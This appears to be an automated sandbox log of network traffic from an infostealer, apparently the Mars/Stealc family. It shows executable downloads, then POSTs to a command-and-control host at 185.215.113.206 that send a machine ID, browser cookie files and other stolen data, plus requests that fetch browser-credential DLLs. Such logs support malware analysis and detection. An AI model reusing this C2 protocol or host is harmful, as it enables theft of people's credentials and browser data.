e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 15:31:58 GMTContent-Type: application/octet-streamContent-Length: 1921024Last-Modified: Tue, 26 Nov 2024 15:09:25 GMTConnection: keep-aliveETag: "6745e4a5-1d5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 64 af 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e3 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e3 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 63 6d 61 6d 64 70 65 00 40 1a 00 00 b0 31 00 00 34 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 65 77 70 74 75 6b 61 00 10 00 00 00 f0 4b 00 00 04 00 00 00 2a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 2e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 15:33:10 GMTContent-Type: application/octet-streamContent-Length: 1828864Last-Modified: Tue, 26 Nov 2024 15:09:11 GMTConnection: keep-aliveETag: "6745e497-1be800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 d0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 49 00 00 04 00 00 a9 cf 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 5c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 90 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6d 72 6f 72 66 6a 79 00 50 19 00 00 70 2f 00 00 50 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 70 70 61 68 7a 6e 62 00 10 00 00 00 c0 48 00 00 04 00 00 00 c2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 48 00 00 22 00 00 00 c6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 46 46 46 43 34 46 41 46 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"68FFFC4FAF144293944220------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 2d 2d 0d 0a Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="message"browsers------BFHJJJDAFBKEBGDGHCGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"plugins------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="message"fplugins------JDBGDHIIDAEBFHJJDBFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 5519Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
